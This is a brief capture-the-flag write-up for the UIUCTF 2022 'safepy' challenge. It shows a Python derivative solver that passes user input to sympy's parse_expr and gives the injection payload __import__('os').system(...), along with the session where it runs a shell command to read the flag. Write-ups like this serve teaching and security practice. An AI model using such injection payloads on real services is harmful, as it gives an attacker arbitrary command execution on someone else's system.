Tags: pyjail python 

Rating: 4.0

## rev/safepy
**Description: godlike snake with a nebula behind it and math equations floating around it**

[challenge file](https://2022.uiuc.tf/files/d242f7830f4f4a51cd068df3decf7612/handout.tar.gz?token=eyJ1c2VyX2lkIjoxMzQsInRlYW1faWQiOjE2MywiZmlsZV9pZCI6NjU3fQ.YuVUdA.TU9BWpZir1-_AH5A1PBXGTFfkO8)

Given python script
from sympy import *

def parse(expr):
# learned from our mistake... let's be safe now
# https://stackoverflow.com/questions/33606667/from-string-to-sympy-expression
# return sympify(expr)

# https://docs.sympy.org/latest/modules/parsing.html
return parse_expr(expr)

print('Welcome to the derivative (with respect to x) solver!')
user_input = input('Your expression: ')
expr = parse(user_input)
deriv = diff(expr, Symbol('x'))
print('The derivative of your expression is:')
This issue in github shows the vulnerability in **parse_expr**.

[vulnerable explanation](https://github.com/sympy/sympy/issues/10805#issuecomment-1002147366)

__import__("os").system("cd / && cat flag")

== proof-of-work: disabled ==
Welcome to the derivative (with respect to x) solver!
Your expression: __import__("os").system("cd / && cat flag")

The derivative of your expression is:

Original writeup (https://gmvivekanandan.github.io/posts/UIUCTF-2022/#revsafepy).